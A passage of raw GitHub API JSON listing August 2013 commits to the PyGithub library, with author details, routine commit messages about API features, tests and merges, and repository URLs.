Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T20:26:58Z"},"message":"NamedUser.has_in_following","tree":{"sha":"becbc15254d47f078ee3e70bee997cea6ad201d0","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/becbc15254d47f078ee3e70bee997cea6ad201d0"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/e384a52971a8452b9c8eb32ed862e88cd828ee8e","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e384a52971a8452b9c8eb32ed862e88cd828ee8e","html_url":"https://github.com/jacquev6/PyGithub/commit/e384a52971a8452b9c8eb32ed862e88cd828ee8e","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e384a52971a8452b9c8eb32ed862e88cd828ee8e/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"0f369ba218414beb8d782904b1f09d4711c82cb7","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0f369ba218414beb8d782904b1f09d4711c82cb7","html_url":"https://github.com/jacquev6/PyGithub/commit/0f369ba218414beb8d782904b1f09d4711c82cb7"}]},{"sha":"1c993d3a5f54cd5c30c6e3407dfc216bdcf7c7cb","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T19:54:00Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-21T20:28:15Z"},"message":"Github.get_repos (to get all public repositories)","tree":{"sha":"3164e655a882efc8233e688223b17703f7ee0e81","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/3164e655a882efc8233e688223b17703f7ee0e81"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1c993d3a5f54cd5c30c6e3407dfc216bdcf7c7cb","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1c993d3a5f54cd5c30c6e3407dfc216bdcf7c7cb","html_url":"https://github.com/jacquev6/PyGithub/commit/1c993d3a5f54cd5c30c6e3407dfc216bdcf7c7cb","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1c993d3a5f54cd5c30c6e3407dfc216bdcf7c7cb/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"e384a52971a8452b9c8eb32ed862e88cd828ee8e","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/e384a52971a8452b9c8eb32ed862e88cd828ee8e","html_url":"https://github.com/jacquev6/PyGithub/commit/e384a52971a8452b9c8eb32ed862e88cd828ee8e"}]},{"sha":"70a7e9c83dec2bf6b549dc5c77d30b53afb32457","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T23:45:27Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T23:45:27Z"},"message":"Fix update","tree":{"sha":"f99d30ab74ea95fedefb33a8b1b2c77903fbd698","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/f99d30ab74ea95fedefb33a8b1b2c77903fbd698"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/70a7e9c83dec2bf6b549dc5c77d30b53afb32457","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/70a7e9c83dec2bf6b549dc5c77d30b53afb32457","html_url":"https://github.com/jacquev6/PyGithub/commit/70a7e9c83dec2bf6b549dc5c77d30b53afb32457","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/70a7e9c83dec2bf6b549dc5c77d30b53afb32457/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"5b09f6c82191601cad92076ad4761fe927c511ed","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5b09f6c82191601cad92076ad4761fe927c511ed","html_url":"https://github.com/jacquev6/PyGithub/commit/5b09f6c82191601cad92076ad4761fe927c511ed"}]},{"sha":"d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-22T00:45:10Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-22T00:45:10Z"},"message":"Add test record helper","tree":{"sha":"e6e15fccb5b256bba3db1d4fc89088b733de227b","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/e6e15fccb5b256bba3db1d4fc89088b733de227b"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","html_url":"https://github.com/jacquev6/PyGithub/commit/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"70a7e9c83dec2bf6b549dc5c77d30b53afb32457","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/70a7e9c83dec2bf6b549dc5c77d30b53afb32457","html_url":"https://github.com/jacquev6/PyGithub/commit/70a7e9c83dec2bf6b549dc5c77d30b53afb32457"}]},{"sha":"c7593e84c4a92a044b717b7311c2b6ad8d9a5917","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-22T02:20:10Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-22T02:20:10Z"},"message":"Add test case for conditional request","tree":{"sha":"bbf62558b39720fc7acab1c6b26e4b9260cdc897","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/bbf62558b39720fc7acab1c6b26e4b9260cdc897"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/c7593e84c4a92a044b717b7311c2b6ad8d9a5917","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c7593e84c4a92a044b717b7311c2b6ad8d9a5917","html_url":"https://github.com/jacquev6/PyGithub/commit/c7593e84c4a92a044b717b7311c2b6ad8d9a5917","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c7593e84c4a92a044b717b7311c2b6ad8d9a5917/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7","html_url":"https://github.com/jacquev6/PyGithub/commit/d457afd23ccb47d9f30f09a6ca2a8e32f17dccc7"}]},{"sha":"5c475c7683b2a57ee053d35586248f24febb6ebe","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T08:12:38Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T08:12:38Z"},"message":"First review of #192 (pep8, headers... nothing important)\n\n./manage.sh check\n./manage.sh fix_headers","tree":{"sha":"c874a52834343436bb9e1062a9edb11739d0de2b","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/c874a52834343436bb9e1062a9edb11739d0de2b"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/5c475c7683b2a57ee053d35586248f24febb6ebe","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5c475c7683b2a57ee053d35586248f24febb6ebe","html_url":"https://github.com/jacquev6/PyGithub/commit/5c475c7683b2a57ee053d35586248f24febb6ebe","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5c475c7683b2a57ee053d35586248f24febb6ebe/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"aa3025271cd918883b31a42fb7b4ce03027b805c","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/aa3025271cd918883b31a42fb7b4ce03027b805c","html_url":"https://github.com/jacquev6/PyGithub/commit/aa3025271cd918883b31a42fb7b4ce03027b805c"}]},{"sha":"f2de1fbfcccd1bbb3da722489d361d1937e09860","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T08:22:07Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T08:22:07Z"},"message":"Don't fix headers in /build","tree":{"sha":"6151d6667cf979d47a44e9a4852f9e5894eea19a","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/6151d6667cf979d47a44e9a4852f9e5894eea19a"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/f2de1fbfcccd1bbb3da722489d361d1937e09860","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f2de1fbfcccd1bbb3da722489d361d1937e09860","html_url":"https://github.com/jacquev6/PyGithub/commit/f2de1fbfcccd1bbb3da722489d361d1937e09860","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f2de1fbfcccd1bbb3da722489d361d1937e09860/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"1c993d3a5f54cd5c30c6e3407dfc216bdcf7c7cb","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1c993d3a5f54cd5c30c6e3407dfc216bdcf7c7cb","html_url":"https://github.com/jacquev6/PyGithub/commit/1c993d3a5f54cd5c30c6e3407dfc216bdcf7c7cb"}]},{"sha":"8a2624e3a1591a36ecf5afdc6fcc84443d8145dd","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T08:30:14Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T08:30:14Z"},"message":"Merge branch 'topic/RememberHeaders' into develop (#192)\n\nConflicts:\n\tgithub/Issue.py\n\tgithub/MainClass.py\n\tgithub/PaginatedList.py\n\tgithub/Repository.py\n\tgithub/Requester.py","tree":{"sha":"61011f6ebafc003fa6561ed990691d0c21611ea2","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/61011f6ebafc003fa6561ed990691d0c21611ea2"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8a2624e3a1591a36ecf5afdc6fcc84443d8145dd","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a2624e3a1591a36ecf5afdc6fcc84443d8145dd","html_url":"https://github.com/jacquev6/PyGithub/commit/8a2624e3a1591a36ecf5afdc6fcc84443d8145dd","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a2624e3a1591a36ecf5afdc6fcc84443d8145dd/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"f2de1fbfcccd1bbb3da722489d361d1937e09860","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f2de1fbfcccd1bbb3da722489d361d1937e09860","html_url":"https://github.com/jacquev6/PyGithub/commit/f2de1fbfcccd1bbb3da722489d361d1937e09860"},{"sha":"5c475c7683b2a57ee053d35586248f24febb6ebe","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/5c475c7683b2a57ee053d35586248f24febb6ebe","html_url":"https://github.com/jacquev6/PyGithub/commit/5c475c7683b2a57ee053d35586248f24febb6ebe"}]},{"sha":"ba5b0d5ea93d362ecd8b5a91701a9c62c385d008","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T08:44:38Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T08:44:38Z"},"message":"Fix merge of #192\n\nOne branch modified signature of constructors,\nanother branch added a call to a constructor.","tree":{"sha":"ea54567a0eff56ab2c1701783a2d46a9cd9b1b3d","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/ea54567a0eff56ab2c1701783a2d46a9cd9b1b3d"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/ba5b0d5ea93d362ecd8b5a91701a9c62c385d008","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ba5b0d5ea93d362ecd8b5a91701a9c62c385d008","html_url":"https://github.com/jacquev6/PyGithub/commit/ba5b0d5ea93d362ecd8b5a91701a9c62c385d008","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ba5b0d5ea93d362ecd8b5a91701a9c62c385d008/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"8a2624e3a1591a36ecf5afdc6fcc84443d8145dd","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a2624e3a1591a36ecf5afdc6fcc84443d8145dd","html_url":"https://github.com/jacquev6/PyGithub/commit/8a2624e3a1591a36ecf5afdc6fcc84443d8145dd"}]},{"sha":"cc1bcd5f2da1982a0836a488cf321d363bfcf5b5","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T09:01:51Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-08-22T09:01:51Z"},"message":"Merge branch 'develop' into topic/ConditionalRequest\n\nConflicts:\n\t.gitignore\n\tgithub/Requester.py","tree":{"sha":"0d8bb0e1e0d530a2061d0d898a96b0f0ad6a5f25","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/0d8bb0e1e0d530a2061d0d898a96b0f0ad6a5f25"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/cc1bcd5f2da1982a0836a488cf321d363bfcf5b5","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cc1bcd5f2da1982a0836a488cf321d363bfcf5b5","html_url":"https://github.com/jacquev6/PyGithub/commit/cc1bcd5f2da1982a0836a488cf321d363bfcf5b5","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/cc1bcd5f2da1982a0836a488cf321d363bfcf5b5/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3